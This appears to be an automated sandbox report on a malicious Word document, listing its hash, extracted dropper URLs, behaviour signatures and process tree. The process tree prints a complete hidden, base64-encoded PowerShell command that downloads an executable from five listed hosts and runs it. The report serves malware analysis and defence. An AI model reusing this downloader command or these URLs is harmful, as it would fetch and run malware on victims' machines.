Resubmissions
25/04/2025, 03:24
250425-dybpssslt325/04/2025, 03:22
250425-dxdsrssls71013/04/2025, 09:37
250413-lljhwatshw1013/04/2025, 09:33
250413-ljk9patsex10Analysis
- max time kernel
102s - max time network
125s - platform
windows11-21h2_x64 - resource
win11-20250410-en - resource tags
- submitted
25/04/2025, 03:22
General
- Target virusshare/1/VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc
- Size 182KB
- Sample250425-dxdsrssls7
- SHA256 a44031feb2a71980a0980377c8f7b6f3b5b9dfa0f708556dd420be323c7e1a38
Malware Config
Extracted
-
ps1
-
exe.dropper
http://diwafashions.com/wp-admin/mqau6/
-
exe.dropper
http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/
-
exe.dropper
http://dixartcontractors.com/cgi-bin/nnuv/
-
exe.dropper
http://diaspotv.info/wordpress/G/
-
exe.dropper
http://easyvisaoverseas.com/cgi-bin/v/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\1\VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
87734781.wmf
gb.xsl
__PSScriptPolicyTest_oh02gni1.oh4.ps1
CUSTOM.DIC
memory/2096-19-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-22-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-9-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-8-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-11-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-10-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-7-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-6-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-12-0x00007FF7C5670000-0x00007FF7C5680000-memory.dmp
memory/2096-14-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-13-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-15-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-16-0x00007FF7C5670000-0x00007FF7C5680000-memory.dmp
memory/2096-17-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-0-0x00007FF7C8210000-0x00007FF7C8220000-memory.dmp
memory/2096-18-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-21-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-5-0x00007FF7C8210000-0x00007FF7C8220000-memory.dmp
memory/2096-20-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-4-0x00007FF7C8210000-0x00007FF7C8220000-memory.dmp
memory/2096-2-0x00007FF7C8210000-0x00007FF7C8220000-memory.dmp
memory/2096-586-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-3-0x00007FF7C8210000-0x00007FF7C8220000-memory.dmp
memory/2096-70-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-73-0x00007FF808223000-0x00007FF808224000-memory.dmp
memory/2096-74-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-75-0x00007FF808180000-0x00007FF808389000-memory.dmp
memory/2096-1-0x00007FF808223000-0x00007FF808224000-memory.dmp
memory/2096-583-0x00007FF7C8210000-0x00007FF7C8220000-memory.dmp
memory/2096-582-0x00007FF7C8210000-0x00007FF7C8220000-memory.dmp
memory/2096-585-0x00007FF7C8210000-0x00007FF7C8220000-memory.dmp
memory/2096-584-0x00007FF7C8210000-0x00007FF7C8220000-memory.dmp
memory/3844-59-0x0000026D69E40000-0x0000026D69E62000-memory.dmp